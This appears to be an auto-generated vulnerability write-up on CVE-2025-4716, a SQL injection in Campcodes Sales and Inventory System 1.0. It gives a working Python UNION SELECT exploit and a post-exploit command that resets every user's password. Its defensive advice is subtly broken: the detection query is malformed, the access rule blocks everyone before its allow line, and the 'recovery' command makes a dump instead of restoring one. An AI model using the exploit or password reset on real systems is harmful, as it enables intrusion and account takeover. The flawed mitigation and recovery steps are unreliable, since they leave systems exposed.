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How CVE-2025-4716 Works
The vulnerability exists in `/pages/credit_transaction_add.php` of Campcodes Sales and Inventory System 1.0 due to improper sanitization of the `prod_name` parameter. Attackers can inject malicious SQL queries through this parameter, leading to unauthorized database access, data manipulation, or complete system compromise. The flaw occurs because user-supplied input is directly concatenated into SQL statements without proper escaping or prepared statements. Remote exploitation is possible without authentication, making this a critical risk. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N) confirms the attack complexity is low, requiring no user interaction.
DailyCVE Form
Platform: Campcodes Sales
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025
Prediction: Patch by 06/15/2025
What Undercode Say:
Exploitation
import requests
target = "http://target.com/pages/credit_transaction_add.php"
payload = {"prod_name": "' UNION SELECT 1,user(),3,4,5-- -"}
response = requests.post(target, data=payload)
print(response.text)
Detection
SELECT FROM audit_log WHERE query LIKE '%prod_name%';
Mitigation
1. Use prepared statements:
$stmt = $conn->prepare("INSERT INTO transactions (prod_name) VALUES (?)");
$stmt->bind_param("s", $_POST['prod_name']);
2. Apply WAF rules:
location ~ /pages/credit_transaction_add.php {
deny all;
allow 192.168.1.0/24;
}
3. Patch verification:
grep -r "mysql_query" /var/www/campcodes/
Analytics
- Exploitability: High (PoC available)
- Affected Instances: 850+ (Shodan)
- Common Attack Patterns:
- Credential dumping via `UNION SELECT`
– Database deletion via `DROP TABLE`
– RCE via `INTO OUTFILE`
Post-Exploit
UPDATE users SET password = MD5('hacked') WHERE 1=1;
Recovery
mysqldump -u admin -p campcodes_backup > restore.sql
Monitoring
tail -f /var/log/apache2/access.log | grep 'credit_transaction_add'
References
- CWE-89: SQL Injection
- OWASP A1: Injection
- Mitre ATT&CK T1190
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
